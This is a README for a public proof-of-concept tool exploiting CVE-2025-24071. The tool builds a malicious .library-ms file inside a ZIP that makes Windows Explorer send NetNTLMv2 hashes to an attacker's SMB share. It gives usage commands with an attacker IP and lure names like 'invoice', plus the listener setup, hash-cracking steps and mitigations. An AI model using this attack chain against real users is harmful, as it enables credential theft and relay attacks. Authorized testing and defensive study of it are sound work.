CVE-2025-24071 — Windows File Explorer Spoofing / NTLM Hash Disclosure via .library-ms

⚠️ Disclaimer: This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal.

Table of Contents

• Overview
• Vulnerability Details
• How It Works
• Requirements
• Installation
• Usage
• Examples
• Mitigations
• Credits
• References

Overview

Windows File Explorer automatically parses certain file types as soon as they appear in a folder view, without any user interaction such as double-clicking. Affected versions fail to properly validate .library-ms files, which can define a search connector pointing to an arbitrary remote SMB path.

When Explorer renders a folder containing a malicious .library-ms file (e.g. right after extracting a ZIP/RAR archive), it silently attempts to connect to the attacker-controlled UNC path to resolve the "library" location. This SMB connection attempt carries the victim's NetNTLMv2 hash, which an attacker capturing traffic on the specified host (e.g. with impacket-smbserver or Responder) can then try to crack offline or relay.

This repository contains a minimal, dependency-free rewrite of a public PoC generator for this vulnerability: it builds the malicious .library-ms file and packages it into a ZIP, using only the Python standard library.

Vulnerability Details

How It Works

A .library-ms file is an XML document that tells Windows Explorer to display the contents of a remote or local location as a "library". Its <simpleLocation><url> element can point to a UNC path (\\<host>\<share>).

In affected versions, Explorer resolves this location as soon as the folder is displayed — no double-click or explicit action is required beyond having the file visible in a folder view (for example, right after extracting an archive that contains it).

Attack Requirements

1. Attacker controls a host reachable by the victim (or is on the same network) running an SMB listener (impacket-smbserver, Responder, etc.).
2. A malicious .library-ms file is generated, pointing to \\<attacker_ip>\<share>.
3. The file is delivered to the victim, typically packaged inside a ZIP/RAR archive (this repo automates that packaging step).
4. The victim extracts the archive and views the folder in Explorer — no further interaction needed.

Exploit Flow

1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it

Requirements

• Python 3.8+ (standard library only — os, sys, argparse, zipfile)

No third-party dependencies are needed to generate the payload. Capturing the hash requires an SMB listener such as Impacket (impacket-smbserver) or Responder on the attacker side.

Installation

git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071

Usage

usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]

options:
  -n NAME, --name NAME             Output base filename (no extension)
  -i IP, --ip IP                   Attacker IP to embed as the UNC path target
  -s SHARE, --share SHARE          Share name (default: shared)
  -o OUTDIR, --outdir OUTDIR       Output directory (default: current dir)
  -a, --affected-versions          Print the list of affected Windows versions and exit

Examples

Basic usage

python3 cve_2025_24071.py -n invoice -i 10.10.14.5

This produces invoice.zip, containing invoice.library-ms pointing to \\10.10.14.5\shared.

Start the listener before delivering the file

impacket-smbserver shared /tmp/smbshare -smb2support

Custom share name and output directory

python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads

List affected versions

python3 cve_2025_24071.py -a

Mitigations

• Apply the March 2025 cumulative security update (or later) for your Windows version.
• Restrict outbound SMB (TCP 445) at the network perimeter to prevent NTLM hashes from leaking to external hosts.
• Enforce SMB signing and disable NTLM where possible in favor of Kerberos.
• Scan uploaded/extracted archives for .library-ms and similar auto-parsed file types before they reach end-user workstations.

Credits

• Vulnerability discovered & reported to Microsoft by: Microsoft (credited via MSRC; original external reporter not publicly disclosed at time of writing)
• Advisory published by: Microsoft Security Response Center (MSRC)
• Public PoC generator concept referenced from: ThemeHackers
• Standard-library rewrite: Bardlaudian — dependency-free version of the ZIP/.library-ms generator, no new exploitation technique

References

• MSRC — CVE-2025-24071 Security Update Guide
• NVD — CVE-2025-24071
• CVE.org Record — CVE-2025-24071
• GitHub Advisory Database — GHSA-mppc-8qxh-4wjw